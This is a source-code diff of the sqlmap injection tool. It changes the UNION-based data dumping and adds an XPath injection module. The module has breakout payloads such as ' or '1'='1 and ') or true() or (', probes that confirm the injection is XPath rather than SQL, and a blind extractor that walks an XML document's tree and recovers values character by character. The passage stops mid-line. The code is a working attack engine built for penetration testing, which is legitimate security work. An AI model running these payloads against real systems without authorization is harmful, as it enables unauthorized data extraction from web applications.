+ elif Backend.isDbms(DBMS.ORACLE): + query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.SQLITE): + query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): + query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.MSSQL): + query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB): + query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.FIREBIRD): + query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + output = _oneShotUnionUse(query, False) + value = parseUnionPage(output) + kb.jsonAggMode = False + + # If the single-shot aggregate failed (typically too large for the DBMS packet limit / + # response cap) and the table is large, retrieve the rows in bounded windows (chunked + # JSON aggregation) before the slow per-row fallback. Done here (independent of the + # detected UNION where-clause) so it engages for any dumpable FROM-table query. + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + if " ORDER BY " in chunkCountExpr.upper(): + chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] + chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack))) + if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount)) + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ - kb.forcePartialUnion or \ - (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ - " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ - and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") @@ -208,140 +409,148 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " - infoMsg += "%d entries" % stopLimit - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) - elif count and (not isinstance(count, basestring) or not count.isdigit()): + elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value - threadData = getCurrentThreadData() - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - numThreads = min(conf.threads, (stopLimit - startLimit)) - threadData.shared.value = BigArray() - threadData.shared.buffered = [] - threadData.shared.counter = 0 - threadData.shared.lastFlushed = startLimit - 1 - threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 - - if threadData.shared.showEta: - threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) - - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) - - try: - def unionThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limit: - try: - valueStart = time.time() - threadData.shared.counter += 1 - num = threadData.shared.limits.next() - except StopIteration: + if isNumPosStrValue(count) and int(count) > 1: + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + numThreads = min(conf.threads, (stopLimit - startLimit)) + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info for " + debugMsg += "large number of rows as it might take too long" + logger.debug(debugMsg) + + try: + def unionThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + threadData.shared.counter += 1 + num = next(threadData.shared.limits) + except StopIteration: + break + + if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + field = expressionFieldsList[0] + elif Backend.isDbms(DBMS.ORACLE): + field = expressionFieldsList + else: + field = None + + limitedExpr = agent.limitQuery(num, expression, field) + output = _oneShotUnionUse(limitedExpr, unpack, True) + + if not kb.threadContinue: break - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - field = expressionFieldsList[0] - elif Backend.isDbms(DBMS.ORACLE): - field = expressionFieldsList - else: - field = None - - limitedExpr = agent.limitQuery(num, expression, field) - output = _oneShotUnionUse(limitedExpr, unpack, True) - - if not kb.threadContinue: - break - - if output: - with kb.locks.value: - if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): - items = parseUnionPage(output) - - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - if isListLike(items): - # in case that we requested N columns and we get M!=N then we have to filter a bit - if len(items) > 1 and len(expressionFieldsList) > 1: - items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] - items = [_ for _ in flattenValue(items)] - if len(items) > len(expressionFieldsList): - filtered = OrderedDict() - for item in items: - key = re.sub(r"[^A-Za-z0-9]", "", item).lower() - if key not in filtered or re.search(r"[^A-Za-z0-9]", item): - filtered[key] = item - items = filtered.values() - items = [items] - index = None - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: - break - threadData.shared.buffered.insert(index or 0, (num, items)) - else: - index = None - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: - break - threadData.shared.buffered.insert(index or 0, (num, None)) - - items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) - - while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): - threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] - if not isNoneValue(_): - threadData.shared.value.extend(arrayizeValue(_)) - del threadData.shared.buffered[0] - - if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items)) - - if len(status) > width: - status = "%s..." % status[:width - 3] - - dataToStdout("%s\n" % status, True) - - runThreads(numThreads, unionThread) - - if conf.verbose == 1: - clearConsoleLine(True) - - except KeyboardInterrupt: - abortedFlag = True - - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) - - finally: - for _ in sorted(threadData.shared.buffered): - if not isNoneValue(_[1]): - threadData.shared.value.extend(arrayizeValue(_[1])) - value = threadData.shared.value - kb.suppressResumeInfo = False + if output: + with kb.locks.value: + if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): + items = parseUnionPage(output) + + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + if isListLike(items): + # in case that we requested N columns and we get M!=N then we have to filter a bit + if len(items) > 1 and len(expressionFieldsList) > 1: + items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + items = [_ for _ in flattenValue(items)] + if len(items) > len(expressionFieldsList): + filtered = OrderedDict() + for item in items: + key = re.sub(r"[^A-Za-z0-9]", "", item).lower() + if key not in filtered or re.search(r"[^A-Za-z0-9]", item): + filtered[key] = item + items = list(six.itervalues(filtered)) + items = [items] + index = None + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, items)) + else: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, None)) + + items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): + threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] + if not isNoneValue(_): + threadData.shared.value.extend(arrayizeValue(_)) + del threadData.shared.buffered[0] + + if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: + _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) + + if len(status) > width and not conf.noTruncate: + status = "%s..." % status[:width - 3] + + dataToStdout("%s\n" % status) + + runThreads(numThreads, unionThread) + + if conf.verbose == 1: + clearConsoleLine(True) + + except KeyboardInterrupt: + abortedFlag = True + + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warning(warnMsg) + + finally: + for _ in sorted(threadData.shared.buffered): + if not isNoneValue(_[1]): + threadData.shared.value.extend(arrayizeValue(_[1])) + value = threadData.shared.value + kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) @@ -350,7 +559,7 @@ def unionThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/xpath/__init__.py b/lib/techniques/xpath/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xpath/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py new file mode 100644 index 00000000000..2aa7922bccd --- /dev/null +++ b/lib/techniques/xpath/inject.py @@ -0,0 +1,818 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.settings import XPATH_CHAR_MAX +from lib.core.settings import XPATH_CHAR_MIN +from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XPATH_ERROR_SIGNATURES +from lib.core.settings import XPATH_MAX_DEPTH +from lib.core.settings import XPATH_MAX_LENGTH +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + + +XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Each detection breakout is paired with a false variant and an (optional) extraction +# boundary. The boundary carries a prefix/suffix pair that wraps the extraction +# predicate so the surrounding template stays syntactically valid. +# +# Breakouts are listed in detection-priority order: function-argument closers first, +# then simple string, double-quoted, union wildcard, and bare numeric/boolean. + +_BREAKOUT_TABLE = ( + # (breakout, false_variant, extraction_prefix, extraction_suffix ) + # -- function-argument (closes paren + string) ------------------------------------------------------------ + ("') or true() or ('", "') and false() and ('", "') or ", " or ('"), + ("') or '1'='1' or ('", "') and '1'='2' and ('", "') or ", " or ('"), + ("') or 1=1 or ('", "') and 1=2 and ('", "') or ", " or ('"), + # -- single-quoted string (suffix absorbs trailing quote; predicate decisive when original value unmatched) + ("' or '1'='1", "' and '1'='2", "' or ", " and '1'='1"), + ("' or true() or '", "' and false() and '", "' or ", " and '1'='1"), + ("' or 1=1 or '", "' and 1=2 and '", "' or ", " and '1'='1"), + # -- AND context (single-quoted) ------------------------------------------------------------------------- + ("' and '1'='1", "' and '1'='2", "' and ", " and '1'='1"), + # -- double-quoted string (suffix absorbs trailing quote) ------------------------------------------------- + ('" or "1"="1', '" and "1"="2', '" or ', ' and "1"="1'), + ('" or true() or "', '" and false() and "', '" or ', ' and "1"="1'), + # -- double-quoted function-argument --------------------------------------------------------------------- + ('") or true() or ("', '") and false() and ("', '") or ', ' or ("'), + # -- union wildcard (detection-only, no extraction) ------------------------------------------------------ + ("']|//*|test['", None, None, None), + # -- numeric / bare context (extraction uses 'and'; requires original value to not match anything) ---------- + (" or 1=1", " and 1=2", " and ", ""), + (" or true()", " and false()", " and ", ""), +) + +# Boundary: a verified injection boundary with an extraction prefix+suffix and an +# extractable flag. Only extractable boundaries can drive tree-walking. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "extractable")) + +# Convenience lookups built from _BREAKOUT_TABLE +_BREAKOUT_FALSE_MAP = {} +_BREAKOUT_BOUNDARY = {} +_BREAKOUT_LIST = [] +for _entry in _BREAKOUT_TABLE: + _bk, _fv, _pfx, _sfx = _entry + _BREAKOUT_LIST.append(_bk) + _BREAKOUT_FALSE_MAP[_bk] = _fv + if _pfx is not None: + _BREAKOUT_BOUNDARY[_bk] = Boundary(_pfx, _sfx, True) + else: + _BREAKOUT_BOUNDARY[_bk] = None +XPATH_BREAKOUT_PREFIXES = tuple(_BREAKOUT_LIST) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "boundary")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None) + + + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`. + Temporarily mutates conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + kwargs = {"raise404": False, "silent": True} + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, code = Request.getPage(**kwargs) + # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable + # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence + # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean + # routines and the extraction oracle already reject None, so it can never decide a bit. + if blockedStatus(code): + return None + return page or "" + except Exception as ex: + logger.debug("XPath probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = old_params + + +def _isError(page): + # an XPath parser error OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS guard (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: a break-out like `*` or `') or ...` trips a + # DBMS syntax error on a SQL-injectable parameter, and that error page merely differs from a + # normal page - which would otherwise fake a boolean oracle and misreport SQLi as XPath. + page = getUnicode(page or "") + return bool(re.search(XPATH_ERROR_REGEX, page)) or sqlErrorPresent(page) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in XPATH_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + # ONLY an actual XPath parser error names a (generic) XPath back-end - never a SQL/DBMS error + # (which _isError also flags now, but must not be attributed to XPath here) + return "Generic XPath" if re.search(XPATH_ERROR_REGEX, page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for XPath parser errors to obtain a backend hint. + This is NOT authoritative detection -- only a boolean oracle confirms injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "')", '")', "]", "|"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge. + Both true AND false pages must be independently reproducible.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + + falsePage2 = falsy() + if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: + return None + + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _makePayload(original, boundary, predicate): + """Construct a payload by inserting `predicate` into the verified boundary.""" + if boundary.suffix: + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + return "%s%s%s" % (original, boundary.prefix, predicate) + + +# XPath 1.0-only boolean predicates: each pair differs ONLY in the XPath construct and flips +# true/false on a real XPath engine, while a SQL back-end errors on all of them (no divergence). +# A battery (not one primitive) survives an injection context that rejects any single function. +# DELIBERATELY EXCLUDED after live testing: substring() (MySQL also has it -> would false-positive) +# and anything using '/*' (a SQL comment opener). Validated SQL-safe on the karlobag MySQL junkyard. +_XPATH_PREDICATES = ( + ("string-length('ab')=2", "string-length('ab')=3"), + ("normalize-space(' a ')='a'", "normalize-space(' a ')='z'"), + ("translate('ab','a','x')='xb'", "translate('ab','a','x')='zz'"), +) + + +def _xpathConfirm(place, parameter, original, boundary): + """Confirm the injection context actually evaluates XPath, not SQL. The `' or '1'='1` break-out + family is IDENTICAL to classic SQL injection, so without a positive XPath-only proof a SQL- + injectable parameter would false-positive as XPath. Try the whole battery (wrapped in the SAME + verified boundary); ANY member that flips true/false proves an XPath parser.""" + for truePred, falsePred in _XPATH_PREDICATES: + truePayload = _makePayload(original, boundary, truePred) + falsePayload = _makePayload(original, boundary, falsePred) + if _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) is not None: + return True + return False + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind XPath injection. + boundary is None for detection-only breakouts (wildcard, union).""" + + original = _originalValue(place, parameter) or "" + + for breakout in XPATH_BREAKOUT_PREFIXES: + truePayload = original + breakout + falseVariant = _BREAKOUT_FALSE_MAP.get(breakout) + if not falseVariant: + continue + + falseSpecific = original + falseVariant + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falseSpecific: _send(place, parameter, p)) + if template: + boundary = _BREAKOUT_BOUNDARY.get(breakout) + # an extractable (boundary-carrying) break-out shares its syntax with SQL injection; + # require an XPath-specific confirm before accepting it, else keep looking + if boundary and not _xpathConfirm(place, parameter, original, boundary): + continue + return template, truePayload, boundary + + # NOTE: no bare `*`-vs-sentinel wildcard fallback. A wildcard that returns more rows than a random + # term is normal search behavior, not proof of an XPath query-boundary escape, and it carries no + # boundary to confirm XPath (vs SQL) or to drive extraction. Detection rests only on an XPath- + # confirmed boolean break-out (above). + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _fingerprintByError(backend): + if not backend: + return None + for name, _ in XPATH_ERROR_SIGNATURES: + if name in backend: + return name + return backend + + +def _xpathQuote(s): + """Quote a string for an XPath string literal, choosing the delimiter that + requires no escaping. When both quotes appear, use concat().""" + + s = getUnicode(s) + if "'" not in s: + return "'%s'" % s + if '"' not in s: + return '"%s"' % s + # both quote types present: use concat() with " as outer delimiter + return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"')) + + +def _extractionBase(original, boundary): + """The base value the EXTRACTION payloads use (and therefore the base the oracle must be + calibrated with). An OR-style boundary is always-true whenever the original branch matches, so + extraction replaces the base with a non-matching SENTINEL; an AND-style boundary needs the + original branch to match, so it keeps the original. Calibrating with a different base than + extraction uses was the reviewer's core defect.""" + return SENTINEL if " or " in (boundary.prefix or "") else (original or "x") + + +class _XPathPayloadBuilder(object): + """Build XPath boolean predicates for blind tree-walking using the verified + injection boundary from detection. Each method returns a complete payload.""" + + def __init__(self, original, boundary): + self.original = original or "x" + self.boundary = boundary + + def _make(self, predicate): + return _makePayload(self.original, self.boundary, predicate) + + def nameStartsWith(self, path, prefix): + return self._make("starts-with(name(%s),%s)" % (path, _xpathQuote(prefix))) + + def nameLength(self, path, length): + return self._make("string-length(name(%s))=%d" % (path, length)) + + def childCount(self, path, count): + return self._make("count(%s/*)>=%d" % (path, count)) + + def attributeCount(self, path, count): + return self._make("count(%s/@*)>=%d" % (path, count)) + + def attributeNameStartsWith(self, path, index, prefix): + return self._make("starts-with(name(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix))) + + def attributeValueStartsWith(self, path, index, prefix): + return self._make("starts-with(string(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix))) + + def textStartsWith(self, path, prefix): + return self._make("starts-with(string(%s),%s)" % (path, _xpathQuote(prefix))) + + def stringLengthAtLeast(self, target, n): + return self._make("string-length(%s)>=%d" % (target, n)) + + def charPresent(self, target, pos): + # True when the character at 1-based position `pos` of `target` belongs to + # the known ordered charset (so its index can be resolved by bisection). + return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos)) + + def charIndexAtLeast(self, target, pos, n): + # The 0-based index of a charset member equals the length of the charset + # prefix preceding it (XPath 1.0 has no lexicographic '<', but + # string-length(substring-before(...)) yields a number we can bisect on). + return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) + + +def _makeOracle(place, parameter, boundary, base): + """Build an extraction oracle by RECALIBRATING true/false models from the FINAL extraction base + + boundary - the SAME base the _XPathPayloadBuilder uses for every later predicate (SENTINEL for an + OR-style boundary, the original value for an AND-style one). Calibrating with the original value + while extraction ran with SENTINEL made the models mismatch the actual probes. Send the boundary's + own `true()` / `false()` predicates on that base, reproduce each, require them SEPARABLE; else + return None so extraction is disabled rather than emitting fabricated data.""" + + cache = {} + + def request(payload): + # Cache ONLY usable responses. A transient failure (timeout / 429 / intermittent 5xx / reset) + # must never be cached as if it were the answer - it would freeze a wrong bit for every later + # bisection step. An unusable response is re-sent on the next call instead. + if payload not in cache: + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page + return cache[payload] + + truePayload = _makePayload(base, boundary, "true()") + falsePayload = _makePayload(base, boundary, "false()") + trueModel = request(truePayload) + falseModel = request(falsePayload) + + # both models must be present, non-error, independently reproducible, and separable + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # indistinguishable -> can't extract + return None + + def extract(payload): + # A transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit(), which re-sends and ultimately raises InconclusiveError + # (so the value aborts) rather than pre-deciding a False bit that corrupts the bisection. + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) + + oracle.extract = extract + oracle.template = trueModel + oracle.falsePage = falseModel + oracle.cache = cache + return oracle + + +# Frequency-ordered charset for blind character extraction. +# Excludes characters that are XPath metacharacters or problematic in URL context. +_META_ORDS = set(ord(_) for _ in ("'", '"', '[', ']', '<', '>', '&', '/')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ")) +_CHARSET = [] +for _ in _FREQ: + if XPATH_CHAR_MIN <= _ <= XPATH_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + +# Codepoint-ordered charset used by the binary-search extractor. Ordering here MUST match +# the literal string `_CS_LITERAL` so that a recovered index maps back to the right character. +_CS_ORDS = [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1) if _ not in _META_ORDS] +_CS_LITERAL = _xpathQuote("".join(chr(_) for _ in _CS_ORDS)) + + +def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH): + """Blindly infer a string value at `path` using `getter(builder, path, prefix)`. + Returns the recovered value or None.""" + + value = "" + probes = 0 + + try: + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(getter(builder, path, candidate)): + value = candidate + found = True + break + + if not found: + break + + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # the oracle stayed ambiguous after retries -> ABORT this value rather than silently + # truncate it with a wrong bit (returning None marks it unavailable, not fabricated) + logger.warning("XPath extraction aborted for a value 